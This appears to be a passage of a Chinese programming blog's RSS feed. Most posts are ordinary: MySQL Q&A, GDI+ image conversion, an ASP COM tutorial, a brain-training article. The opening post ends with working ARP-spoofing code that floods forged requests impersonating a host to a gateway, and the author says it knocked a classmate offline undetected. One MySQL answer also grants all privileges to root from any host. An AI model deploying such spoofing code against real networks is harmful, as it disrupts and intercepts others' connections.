arpPacket.ethhdr.type=htons(EPT_ARP);<br />  arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);<br />  arpPacket.eth_arp.arp_pro=htons(EPT_IP);<br />  arpPacket.eth_arp.arp_hln=6;<br />  arpPacket.eth_arp.arp_pln=4;<br />  arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);<br /><br />  arpPacket.eth_arp.arp_sha[0]=0x00;                    //仍然是假的MAC地址<br />  arpPacket.eth_arp.arp_sha[1]=0x20;<br />  arpPacket.eth_arp.arp_sha[2]=0xce;<br />  arpPacket.eth_arp.arp_sha[3]=0xa8;<br />  arpPacket.eth_arp.arp_sha[4]=0x54;<br />  arpPacket.eth_arp.arp_sha[5]=0x33;<br />  arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");   //冒充对象的IP<br /><br />        arpPacket.eth_arp.arp_tha[0]=0x00;<br />  arpPacket.eth_arp.arp_tha[1]=0x00;<br />  arpPacket.eth_arp.arp_tha[2]=0x00;<br />  arpPacket.eth_arp.arp_tha[3]=0x00;<br />  arpPacket.eth_arp.arp_tha[4]=0x00;<br />  arpPacket.eth_arp.arp_tha[5]=0x00;<br />  arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");   //网关IP<br />        printf("%d\n",sizeof(arpPacket));<br />  memcpy(szPktBuf,(char*)&amp;arpPacket,sizeof(arpPacket));  <br />  PacketInitPacket(lpPacket,szPktBuf,60);                <br />        while(getchar()!='q')                                     //当输入为q时结束<br />  {<br />        if(PacketSendPacket(lpAdapter,lpPacket,true)==false)  //不断发送伪造信息，将目标的正确<br />                                                              //ARP REQUEST淹没<br />    {<br />        printf("error in sending packet");<br />        return -1;<br />    }<br />  }<br />  printf("send ok");<br />  PacketFreePacket(lpPacket);        //一点扫尾的工作<br />  PacketCloseAdapter(lpAdapter);<br /><br />    return 1;<br />}<br /><br />好了，这个异常简陋的程序结束了，我对我们内部网的某同学测试过，当我程序启动不久，去他寝室看，他已<br /><br />经掉线了，而他的AntiArpSniffer却没有报警，呵呵这说明攻击很成功~。<br />当然要说明的一点是，这个东西完全是研究学习用，没有恶意，也希望大家不要随便对别人做坏事，恩恩，为<br /><br />了学习研究的目的当然可以做一下实验，但不要太有破坏性哦~（如果你想被一群愤怒的群众痛打，那我也没话<br /><br />说...)。可怜了我那位实验对象 ...找个机会请他吃个饭吧~</font>
		<br />
<img src ="http://www.cppblog.com/basecolor/aggbug/17100.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2006-12-31 18:23 <a href="http://www.cppblog.com/basecolor/archive/2006/12/31/17100.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> c++ mysql 问题点滴记录</title><link>http://www.cppblog.com/basecolor/archive/2006/12/19/16610.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Tue, 19 Dec 2006 05:21:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2006/12/19/16610.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/16610.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2006/12/19/16610.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/16610.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/16610.html</trackback:ping><description><![CDATA[
		<p>File: c++ mysql编程出现的问题<br /><br />Q:查汉字出错是什么原因？<br />A: 可以采取以下几种方法。<br />   (1).在安装mysql时选支持中文(_gb2312)。<br />   （2）在程序里可用支持中文的操作。如字段username.可以写成<br />           username like _gb2312 'basecolor' collate gb2312_chinese_ci<br />         或加条"set names 'gbk'"<br />   (3)。改脚本mysql.ini里latin改成gb2312<br /><br /><br />Q:MYSQL出现access denied for user <a href="mailto:'odbc'@'localhost'">'odbc'@'localhost'</a> (using password:YES) <br />我用命令提示符进去，去连接MYSQL数据库，用了MYSQL -P密码；就是会出现这个提示，请问怎么解决<br />A:windows下dos默认的用户是odbc，但是在mysql里并没有odbc这个用户，所以出错，你改成mysql -uroot -p 这样就可以了,这里使用了root用户，当然你也可以使用其它的用户，但是前提是它有本地登录的权限。<br /><br />Q：<br />重装系统之后mysql就不能用了，后来重装mysql结果还是不能用，是什么原因？<br />A：<br />重装mysql需把以前旧的目录手工删除。<br /><br />Q:<br />mysql_real_connect(&amp;mysql,"127.0.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))时连接正常。<br />当改成如下<br />mysql_real_connect(&amp;mysql,"192.168.0.1",user,psw,DB,MYSQL_PORT,NULL,0)))<br />出错。出错信息为：#HY000Host 'null' is not allowed to connect to this Mysql server<br />int error=mysql_errno(&amp;mysql);error=1130;<br />A:<br />先授权允许mysql从任何主机上连接，看看行不行？<br />mysql&gt;grant all on *.* to <a href="mailto:'root'@'%'">'root'@'%'</a> identified by 'password';<br />mysql&gt;flush privileges;<br />如果还是不行，你就把所有的匿名用户都删除<br />mysql&gt;use mysql;<br />mysql&gt;delete from user where user='';<br />mysql&gt;flush privileges;<br />------<br />有用户名的时候：<br />首先你要确定你的mysql有没有'prince886'这个用户，它允不允许远程登录？<br />解决方法：mysql&gt;grant all on *.* to <a href="mailto:'prince886'@'%'">'prince886'@'%'</a> identified by 'password';<br />          mysql&gt;flush privileges;<br />另外，上面赋于的权限很大，可能会引起安全问题，它的意思是允许prince886这个用户从任何地方登录，可以浏览，修改任何数据库<br /><br />Q:<br />怎样实现三个表的查找?<br />A:<br />select t.id1,ifnull(t1.name1,''),t.id2,ifnull(t2.name2,'') from t LEFT join t1 on t.id1=t1.id1 left join t2 ON t.id2=t2.id2;<br /><br />Q:<br />不停的向数据读写操作的时候，会出现内存不足？<br />A：<br />程序操作的时候没有释放查询的结果集，导致内存不足。须释放每次查询的结果集。<br /><br />Q:<br />查表出现"mysql server has gone away"是什么？<br />A:<br />如果代码没问题，那么最大的可能就是数据库的wait_timeout的原因，mysql的默认等待时间是8小时，如果8个小时之后数据库还是空闲的，则会关掉。所以当你再次读写数据库的时候就会出现上面的提示。</p>
<img src ="http://www.cppblog.com/basecolor/aggbug/16610.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2006-12-19 13:21 <a href="http://www.cppblog.com/basecolor/archive/2006/12/19/16610.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>图形处理：BMP格式转gif格式</title><link>http://www.cppblog.com/basecolor/archive/2006/12/04/15981.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Mon, 04 Dec 2006 10:44:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2006/12/04/15981.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/15981.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2006/12/04/15981.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/15981.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/15981.html</trackback:ping><description><![CDATA[
		<p>#include   &lt;Stdio.h&gt;   <br />#include   &lt;Objbase.h&gt;   <br />#include   &lt;Windows.h&gt;   <br />#include   &lt;Gdiplus.h&gt;   <br />#include   &lt;GdiPlusEnums.h&gt;   <br />using   namespace   Gdiplus;   <br />#pragma   comment(lib,"gdiplus")   <br />int   GetCodecClsid(const   WCHAR*,   CLSID*);   <br />HRESULT   __fastcall   AnsiToUnicode(LPCSTR   pszA,   LPOLESTR*   ppszW)   <br />{   <br /> ULONG   cCharacters;   <br /> DWORD   dwError;   <br /> if   (NULL   ==   pszA)   <br /> {   <br />  *ppszW   =   NULL;   <br />  return   NOERROR;   <br /> }   <br /> cCharacters   =     strlen(pszA)+1;   <br /> *ppszW   =   (LPOLESTR)   CoTaskMemAlloc(cCharacters*2);   <br /> if   (NULL   ==   *ppszW)   <br />  return   E_OUTOFMEMORY;   <br /> if   (0   ==   MultiByteToWideChar(CP_ACP,   0,   pszA,   cCharacters,*ppszW,   cCharacters))   <br /> {   <br />  dwError   =   GetLastError();   <br />  CoTaskMemFree(*ppszW);   <br />  *ppszW   =   NULL;   <br />  return   HRESULT_FROM_WIN32(dwError);   <br /> }   <br /> return   NOERROR;   <br />}   </p>
		<p>int   main()<br />{   <br /> int   n_ret=0;   <br /> <br /> char *pic[2]={NULL,NULL};<br /> pic[0]=new char [128];<br /> pic[1]=new char[128];<br /> sprintf(pic[0],"ok.gif");<br /> sprintf(pic[1],"shangcheng_1.bmp");//"default.gif");<br /> GdiplusStartupInput   gdiplusStartupInput;     <br /> ULONG   gdiplusToken;     <br /> GdiplusStartup(&amp;gdiplusToken,   &amp;gdiplusStartupInput,   NULL);     <br /> {   <br />  CLSID                             codecClsid;   <br />  Status                           stat;   <br />  EncoderParameters     encoderParameters;   </p>
		<p>  GetCodecClsid(L"image/gif",   &amp;codecClsid);   <br />  encoderParameters.Count   =   0;   <br />  LPOLESTR   bstr_src_img;   <br />  LPOLESTR   bstr_dst_fn;   <br />  AnsiToUnicode(pic[0],&amp;bstr_dst_fn);   <br />  AnsiToUnicode(pic[1],&amp;bstr_src_img);   <br />  Image   image(bstr_src_img);   <br />  stat   =image.Save(bstr_dst_fn,   &amp;codecClsid,   &amp;encoderParameters);   <br />  if(stat   ==   Ok)   <br />  {   <br />   n_ret=0;   <br />   wprintf(L"%s   saved   successfully.\n",bstr_dst_fn);   <br />  }   <br />  else   <br />  {   <br />   n_ret=-2;   <br />   wprintf(L"%d     Attempt   to   save   %s   failed.\n",   stat,   bstr_dst_fn);   <br />  }   <br />  CoTaskMemFree(bstr_dst_fn);   <br />  CoTaskMemFree(bstr_src_img);   <br /> }   <br /> GdiplusShutdown(gdiplusToken);   <br /> return   0;   <br />}<br />int   GetCodecClsid(const   WCHAR*   format,   CLSID*   pClsid)   <br />{   <br /> UINT     num   =   0; <br /> UINT     size   =   0; <br /> ImageCodecInfo*   pImageCodecInfo   =   NULL;   <br /> GetImageEncodersSize(&amp;num,   &amp;size);   <br /> if(size   ==   0)   <br />  return   -1;    <br /> pImageCodecInfo   =   (ImageCodecInfo*)(malloc(size));   <br /> if(pImageCodecInfo   ==   NULL)   <br />  return   -1;  <br /> GetImageEncoders(num,   size,   pImageCodecInfo);  <br />  for(UINT   j   =   0;   j   &lt;   num;   ++j)   <br /> {   <br />  if(   wcscmp(pImageCodecInfo[j].MimeType,   format)   ==   0   )   <br />  {   <br />   *pClsid   =   pImageCodecInfo[j].Clsid;   <br />   return   j; <br />   }           <br /> } <br /> return   -1; <br />} </p>
<img src ="http://www.cppblog.com/basecolor/aggbug/15981.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2006-12-04 18:44 <a href="http://www.cppblog.com/basecolor/archive/2006/12/04/15981.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>健脑1</title><link>http://www.cppblog.com/basecolor/archive/2006/11/23/15581.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Thu, 23 Nov 2006 05:55:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2006/11/23/15581.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/15581.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2006/11/23/15581.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/15581.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/15581.html</trackback:ping><description><![CDATA[
		<p>　　<br />目前，很多科学家正在研究如何可以通过外部环境刺激来改变人的神经系统。意大利都灵大脑恢复中心主任里达·莱卫·蒙塔奇尼表示：“现在开始已认识到大脑具有极强的可塑性，有极强的自我恢复能力。但直到不久以前，人们还一直认为，大脑是一种比较‘固执’的器官，是不容易改变的。”奠定神经操理论基础的一些近期发现更是颠覆了以往固有的看法，研究证明，一些脑细胞，尤其是海马区的脑细胞能够再生。</p>
		<p>　　出租车司机的大脑就是一个典型的例子。熟悉当地各条街道的出租车司机，他们的海马要大于普通人。这个结论是英国伦敦大学的神经学家埃莉诺·玛归尔通过磁共振技术证实的。出租车司机的海马特别发达，是因为他们需要不停地努力确定自己所处的方位，使海马区得到了锻炼。</p>
		<p>　　神经之间的联系</p>
		<p>　　另一方面，研究人员还发现，随着年龄的增长，大脑的功能出现衰老的原因不像是由于脑细胞的逐渐死亡造成的，而是由于脑细胞之间联系的减弱引起的。因为更少地使用大脑以及衰老使得在脑细胞之间传递信息的神经纤维萎缩。</p>
		<p>　　人体内的天然营养物质——神经营养素有利于这些神经纤维的生长。如果神经纤维受到刺激，就会变大变多，神经之间的连接点即神经键也会增加，从而加快刺激的传递速度。但是，由大脑产生的神经营养素的数量取决于活动的类型。专门进行的研究表明，感官刺激会创造新的神经工作模式，可以促使产生更多的神经营养素。换句话说，促进“脑细胞之间的联系”就能加强和保持智力。比如，一项对男杂技演员所做的实验中，参与了杂技运动控制的运动皮层部分会得到充分发展，并且还可能重新打开那些平时很少被使用的神经。这意味着杂技运动可以增强大脑的某些功能。 </p>
		<p>　　能够使大脑采取新的运动协调形式的行之有效的方式就是音乐。但是，如果说任何一种环境刺激都能够改善大脑可塑性的话，神经操则只会集中于某几类特别的刺激形式。卡茨解释说：“神经操可以让五官感觉同时起作用，以新的形式增强大脑在不同类型信息之间创建连接的自然能力。”人类生理学教授安东尼奥·马尔加罗尼表示：“我们一直都知道，通过不同的活动，可以改变大脑两个不同区域之间的联系。最著名的例子是巴甫洛夫的实验。如果一开始将食物的出现与铃声联系起来，狗就会产生唾液分泌反应。因此，两个距离很远的大脑区域就同时被激活。从此科学界开始了对行为规则的研究，目的是更好地开发大脑的潜力。实际上，它引导着我们趋向兴趣广泛、丰富多彩的生活，以激发这种良性循环，而这需要更多的投入、努力以及意识活动。”</p>
		<p>　　神经操所有的意义都在于日常生活的策略。这项创新使我们得以重新认识神经系统。它与每一个意外事件发生作用，与此对应的大脑区域的皮层活动就会随之增加。神经被激活，传导着神经刺，在它们之间产生了新的联系，从而产生了珍贵的神经营养素。</p>
		<p>　　打破常规</p>
		<p>　　哪些新鲜事物能够提供正确的刺激呢？神经操的第一条规则就是打破常规。然而，仅仅由钢笔写字变成铅笔写字是不够的，真正的变化是换一只手来写。卡茨将这些训练方式总结为三大“基本建议”：</p>
		<p>　　1.在新的环境中将一种或多种感觉结合起来，或尽可能少地依靠惯常的感觉。比如闭上眼睛淋浴。</p>
		<p>　　2.集中注意力，从重复的琐事中解脱出来，让大脑保持在警惕的状态。比如将房间的照片颠倒放置，这种刺激会大大加强记忆力。</p>
		<p>　　3.避免单调的事件。例如，可以经常变换不同的路线去上学或上班。</p>
		<p>　　其实，性生活是最好的神经操锻炼，它比其他任何常规活动都要好。在性生活中，所有的五官感觉都参与了进来，都得到了利用，大大激发了大脑的情绪循环。但某些神经科学家却对这些训练方式嗤之以鼻。意大利生物心理学教授阿尔伯特·奥利维里奥认为：“所有能让大脑保持效率的方式都是好的。打破常规固然有用，但避免压力、打一局保龄球或者解开某个填字游戏也一样起作用。”</p>
		<p>　　不同的声音</p>
		<p>　　如果就神经操的部分科学基础进行讨论，也有人认为神经的可塑性现象尚待证实。神经医学专家弗朗西斯科·摩纳哥就认为：“卡茨的办法和一般医学上采用的康复手段没有很大区别。在教导一位半身不遂的患者锻炼，从而恢复其失去的功能时，我们并不能准确知道在他的大脑中发生了什么。”实际上，神经操的原则在中风症患者中也可以找到实际的应用。马尔加罗尼说：“如果某位患者的一只手臂瘫痪了，我们可以把他健康的手臂也固定起来。这样，通过患者不断向患病的手臂发出的神经刺激，有利于尽快康复。对于记忆和智力，也会产生同样的结果：不断重复使用就会改善。”而最引起争论的是，神经操是否能够延缓神经衰退性疾病(如阿尔茨海默氏症)的发生。奥利维里奥认为，有一些统计数据可以支持这种假设：在脑力工作者中出现阿尔茨海默氏症的机会要小于体力工作者，这可能是因为脑力劳动者的大脑常常处于活跃的状态。目前，一组科学家正对一些有该疾病遗传基因的老鼠进行实验。他们迫使这些老鼠过更忙碌的生活，使它们总处于活跃的状态。研究人员表示，要谈实验的结果为时尚早，但他们坚信，与正常生活的动物相比，它们的状态一定会有所改善。</p>
		<p>　　实际上，要获得实效所需的最少训练量还是个未知因素。此外还要考虑到，人与人之间由于众多因素，比如年龄、遗传基因等等，所取得的效果也是不一样的。</p>
		<p>　　健脑运动</p>
		<p>　　马上行动吧！不论是在旅行还是在工作或者在家中，任何地点任何时候都可以很好地锻炼大脑。下面就是对你的建议。请通过这里介绍的11种办法将神经操真正融进你的生活。</p>
		<p>　　神经操正成为人们的一种“生活方式”。它不需要采用同样的锻炼方法，而是提倡不断地变换。如果在某段时间你采取了某种锻炼方式的话，那过段时间就应该换另一种，然后还可以将它们混合起来。最好不要把这些锻炼变成一种惯例，不要放弃填字游戏、阅读和充满激情的人际交往、旅行。一旦学会了神经操，每个人都会发明适合自己的锻炼方法。</p>
		<p>　　当然，如果人们知道适当的节食、充足的睡眠以及体育锻炼都可以增加大脑神经连接数量，从而增强记忆力和推理能力的话，可能很多人都会拥有灵活的大脑了。</p>
		<p>　　在家里</p>
		<p>　　1.闭上眼睛挑选衣服、鞋和首饰，努力通过触摸来分辨它们。不仅使用手指，还要使用脸颊，手臂和脚，身体的每一部分都有相当灵敏的神经末梢。所以，可以尽量闭上眼睛穿衣服。</p>
		<p>　　2.反手打开牙膏盖，向牙刷上挤牙膏，刷牙。</p>
		<p>　　3.将房间墙壁上挂着的照片和装饰画倒过来。</p>
		<p>　　在途中</p>
		<p>　　1.经常变换不同的路线去上班。对开车、走路或坐公共汽车都适用。</p>
		<p>　　2.锻炼触觉。在汽车的储物袋中搁一些硬币，等红灯时，尝试仅用触摸的方式分辨它们。也可以换成其他的小物件进行练习。</p>
		<p>　　在办公室里</p>
		<p>　　1.把办公桌上的东西换个位置，从电脑的鼠标到照片，从电话到签字笔。将手表戴在另一只手臂上。</p>
		<p>　　2.自由讨论。如果要和同事一起解决某个问题，设想并记录下一切可能的方案。然后比较各个方案，作出选择。</p>
		<p>　　在餐桌上</p>
		<p>　　1.关掉音响和电视，与一同用餐的家人或朋友轻轻交谈。或者在绝对安静的环境下就餐，甚至可以闭上眼睛咀嚼食物，将注意力完全集中在享受美食上。</p>
		<p>　　2.更换座位。在家里、食堂或餐厅里，无论是你还是其他人，不要保持固定的位置。环境或者是食物，都要让自己在就餐的时候有新鲜感。</p>
		<p>　　在假日或空闲时</p>
		<p>　　1.去你从没去过的地方。不要总寻找最熟悉的地方。要主动去感受不同地方的不同景色和不同气息。</p>
		<p>　　2.变得更有创造性，发掘新的爱好。参加某个从未尝试过的活动课程，绘画、音乐或者摄影。尝试新的体育运动，如高尔夫球，骑马。自己下厨烹饪，因为它会调动你所有的感觉。</p>
		<p>　　反手刷牙，这样可以锻炼相应的脑半球(右半球负责左右，左半球负责右手)。<br /></p>
<img src ="http://www.cppblog.com/basecolor/aggbug/15581.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2006-11-23 13:55 <a href="http://www.cppblog.com/basecolor/archive/2006/11/23/15581.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[网页]+ [ ALT COM AppWizard]</title><link>http://www.cppblog.com/basecolor/archive/2006/11/23/15578.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Thu, 23 Nov 2006 03:53:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2006/11/23/15578.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/15578.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2006/11/23/15578.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/15578.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/15578.html</trackback:ping><description><![CDATA[
		<p>以下为转贴（<a href="http://www.chinaaspx.com/club/topic_6_16277.htm">http://www.chinaaspx.com/club/topic_6_16277.htm</a>）<br />----------------------------------<br /><br />作者：富 亮 </p>
		<p>
		</p>
		<p>--------------------------------------------------------------------------------<br /></p>
		<p>用ASP写网页的程序员，一定对VBSript语句“Set Conn=Server.Object(‘ADODB.Connection’)”非常熟悉。该语句是利用ASP的Server对象创建了一个数据库控件，它提供了一系列的方法和属性，可以帮助我们在ASP中方便的实现数据库的操作。类似的，在Visual InteDev6.0中，我们还可以看到一些ASP的内置组件如“Scripting.FileSystemObject”。但是，在有的场合，仅利用这些是不够的或复杂的，而且ASP的Script语言远不如C++语言功能强大（如建立链表，B+树结构等），这就使我们想到，是否可以在开发网页时使用具有良好数据结构的C++语言。虽然CGI,ISAPI等都可谓是用C/C++开发网页的先驱，但我们知道CGI,ISAPI的开发周期很长，且不与网页结合，直观性差，编写、调试困难；而在稳定性上，由于ISAPI是动态链接的方式，因此在执行若出现问题，会使得Web服务器一起瘫痪。而ASP正好能补足这些缺点。 <br />由此可见，如果能学会编写ASP组件就能结合ASP的长处编写出强大的网页。可惜的是，笔者在市面上很少看到有专门讲如何用VC++来制作ASP组件的书籍。一般VC书籍只讲一些写Windows窗口程序或再加上编写普通的动态链接库。而ASP书籍更是只谈ASP中内置组件的使用方法。其实，如果要真正掌握编写ASP组件的机制，要牵涉到大量的COM技术的知识。而一些讲COM技术的书是很深奥的，且很少能结合有用的实例。为此，笔者想借此文以最简单的方法向大家介绍编写过程。所谓简介，正说明将不涉及COM知识的具体细节，仅给出实现方法。 <br />一、建立工程 <br />打开VC++6.0，选择New Projects中的ALT COM AppWizard, 并输入好工程名（如MyStudio），记住该工程名将成为ASP组件名的一部分（其实可以修改，但很麻烦），在下一页上选择Server Type 为DLL，并可考虑在Support MFC前打勾（想必使用MFC编程的人不少）。按Finish结束。在生成的代码中有四个标准的导出函数注册DLL的，我们不必关心。 <br /><a href="about:&lt;img src=http://www.ccw.com.cn/htm/app/aprog/01_2_13_4a.jpg border=0&gt;" target="_blank"><img alt="::点击图片在新窗口中打开::" hspace="2" src="http://www.ccw.com.cn/htm/app/aprog/01_2_13_4a.jpg" vspace="2" border="0" /></a><br />二、创建COM对象（新建ATL活动模版库类） <br />在菜单上选择Insert New Class,并新建一个ATL Class,如取名为CmyComponent，你会发现在接口表中出现了一个ImyComponent，以后创建该接口的方法和属性就可以在ASP中使用了。把Aggregatable选项去掉，我们不需要它。保持其他不变。 <br /><a href="about:&lt;img src=http://www.ccw.com.cn/htm/app/aprog/01_2_13_4b.jpg border=0&gt;" target="_blank"><img alt="::点击图片在新窗口中打开::" hspace="2" src="http://www.ccw.com.cn/htm/app/aprog/01_2_13_4b.jpg" vspace="2" border="0" /></a><br />三、添加接口方法 <br />在ClassView中，右击ImyComponent,在出现的菜单中按Add Method。如图，在Method Name中可写上方法名如InitMyComp。在Parameters中写上方法的参数如[in]int Number1,[out,retbal]int* Number2。这里要特别说明的是参数的写法。 <br /><a href="about:&lt;img src=http://www.ccw.com.cn/htm/app/aprog/01_2_13_4c.jpg border=0&gt;" target="_blank"><img alt="::点击图片在新窗口中打开::" hspace="2" src="http://www.ccw.com.cn/htm/app/aprog/01_2_13_4c.jpg" vspace="2" border="0" /></a><br />1.对于传入的参数必须在参数前加上[in]，然后可跟上如int n或float f等。且每个传入参数前都必须写明。 <br />2.对于调用方法的返回，不再是该方法名前的类型（因为所有这些方法都返回HRESULT，即表明是否调用成功），所以使用传出的参数，在参数前必须加上[out,retval],然后可跟上如int* n 或者float* f等（如果返回的是int 或float 类型值时）。且每个方法仅限于返回一个这样的参数。在函数体中可如写上如“*Number2=Number1;”，表示把输入参数作为传出参数。 <br /><a href="about:&lt;img src=http://www.ccw.com.cn/htm/app/aprog/01_2_13_4d.jpg border=0&gt;" target="_blank"><img alt="::点击图片在新窗口中打开::" hspace="2" src="http://www.ccw.com.cn/htm/app/aprog/01_2_13_4d.jpg" vspace="2" border="0" /></a><br />3.对于最常用的字符串参数在此我们使用BSTR str而不是通常的char* 或CString，所以在参数中需要写作[in]BSTR str 或[out,retval]BSTR* str。需要特别注意与CString的转换。如新建一个函数StrConv([in]BSTR bstr1,[out,retval]BSTR* bstr2)，在函数体中可写上如： <br />CString str; <br />str=bstr1; <br />str=str.Left(str.GetLength()-1); <br />*bstr2=str.AllocSysString(); <br />4.对于想把一个ASP对象作为参数的方法（如Request对象），可以使用[in]Iunkown *pIUnk，在函数体内，可用如下语句：(具体请查阅MSDN中的相关类的内容) <br />IRequest* pIRequest; <br />HRESULT hr = pIUnk-&gt;QueryInterface(IID_IRequest, reinterpret_cast&lt;LPVOID*&gt;(&amp;pIRequest)); <br />Long m_lDataSize; <br />HRESULT hr = pIRequest-&gt;get_TotalBytes(&amp;m_lDataSize); <br />if (FAILED(hr)) <br />return hr; <br />if (m_lDataSize == 0L) <br />{ <br />return S_OK; <br />} <br /><br />COleVariant varBytesToRead; <br />COleSafeArray sarrayBytes; <br />varBytesToRead = m_lDataSize; <br />sarrayBytes.CreateOneDim(VT_UI1, m_lDataSize); <br />hr = pIRequest-&gt;BinaryRead(&amp;varBytesToRead, &amp;sarrayBytes); <br />if (FAILED(hr)) <br />{ <br />sarrayBytes.Clear(); <br />return hr; <br />} <br />… <br />5.对于不定个数参数，可使用SAFEARRAY，但使用方法较为复杂。可以在参数中输入如下的内容[in]SAFEARRAY array，并按Attribute…按钮，在Name中选择vararg。按确定后修改idl文件在把[in]SAFEARRAY array改为[in]SAFEARRAY(VARIANT) array。然后再打开MyComponent.h文件把该函数的参数SAFEARRAY array改为SAFEARRAY* array。再打开MyComponent.cpp文件修改参数，在函数体内使用COleSafeArray类实现该参数的控制，如“COleSafeArray SArray(array,VT_BSTR)”，具体操作可查阅MSDN中的该类的成员函数。 <br />四、添加接口属性 <br />在ClassView中，右击ImyComponent,在出现的菜单中按Add Property。如图，在Property中可选择属性类型如float，在下面可写上属性名如MyFloat。保持其他不变。这里需要说明的是在生成的put_MyFloat和get_MyFloat函数体中的书写。 <br /><a href="about:&lt;img src=http://www.ccw.com.cn/htm/app/aprog/01_2_13_4e.jpg border=0&gt;" target="_blank"><img alt="::点击图片在新窗口中打开::" hspace="2" src="http://www.ccw.com.cn/htm/app/aprog/01_2_13_4e.jpg" vspace="2" border="0" /></a><br />不妨举个小例： <br />1.在CMyComponent 中添加成员变量m_myFloat <br />2.在put_MyFloat 中写上：m_myFloat=newVal; <br />3.在get_MyFloat中写上：*pVal=m_myFloat <br />有成员变量也是它优于ISAPI的一个地方，在ISAPI中要在网页间传递信息，只能通过URL参数或者是Cookie来实现，因为每次调用都是一次新的链接，无法在网页之间仍然是同一次调用DLL,所以设置成员变量意义不大，只在一次调用中有用。而那两种方法都只能传递很有限的字符，除非利用创建服务器端临时文件（此方法很不好）。再说，ASP中的Session对象本身就是很好的存储信息的对象。 <br />至此，我们创建了一个非常简单的没有什么功能的ASP组件，意在说明如何制作。下面，我们书写一个简单的ASP网页，来看看如何使用。网页如下： <br />&lt;%@ Language=VBScript %&gt; <br />&lt;HTML&gt; <br />&lt;HEAD&gt; <br />&lt;META NAME="GENERATOR" Content="Microsoft Visual Studio 6.0"&gt; <br />&lt;/HEAD&gt; <br />&lt;BODY&gt; <br />&lt;% <br />Set Obj=Server.CreateObject("MyStudio.MyComponent") <br />j=Obj.InitMyComp(5) <br />Response.Write(j) <br />%&gt; <br />&lt;p&gt; <br />&lt;% <br />Obj.MyFloat=3.9 <br />j=Obj.MyFloat <br />Response.Write(j) <br />%&gt; <br />&lt;p&gt; <br />&lt;% <br />str1="abcd" <br />str2=Obj.StrConv(str1) <br />Response.Write(str2) <br />%&gt; <br />&lt;/BODY&gt; <br />&lt;/HTML&gt; <br />显示结果为： <br />5 <br />3.9 <br />abc <br />也许，你现在还看不到编写ASP组件的巨大魅力。但是，如果你正在编写搜索引擎，文件上传，自动回复，等等的高级网页制作，你若能够充分的利用VC++的优越编程手段，就不必在CGI，ISAPI中苦苦挣扎，可以比较方便的编写这些功能。比方说用户想在你的网页上搜索几个著名新闻网站上当前的重要新闻，你就可以使用ASP组件在后台实时的打开各网站获得信息，筛选匹配后显示给用户。又比方说，当注册用户告知他的email地址，你就可以利用ASP组件自动给新注册用户发出确认信函，用最快的方式让用户去确认并使注册成功……其实，你一定还有很多新的想法可以在网页上得以实现，赶快行动吧。 <br /></p>
<img src ="http://www.cppblog.com/basecolor/aggbug/15578.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/basecolor/" target="_blank">原色</a> 2006-11-23 11:53 <a href="http://www.cppblog.com/basecolor/archive/2006/11/23/15578.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>检查内存泄漏</title><link>http://www.cppblog.com/basecolor/archive/2006/11/20/15461.html</link><dc:creator>原色</dc:creator><author>原色</author><pubDate>Mon, 20 Nov 2006 05:30:00 GMT</pubDate><guid>http://www.cppblog.com/basecolor/archive/2006/11/20/15461.html</guid><wfw:comment>http://www.cppblog.com/basecolor/comments/15461.html</wfw:comment><comments>http://www.cppblog.com/basecolor/archive/2006/11/20/15461.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/basecolor/comments/commentRss/15461.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/basecolor/services/trackbacks/15461.html</trackback:ping><description><![CDATA[1.程序中添加:<br />#define CRTDBG_MAP_ALLOC<br />#include &lt;stdlib.h&gt;<br />#include &lt;crtdbg.h&gt;<br /><br 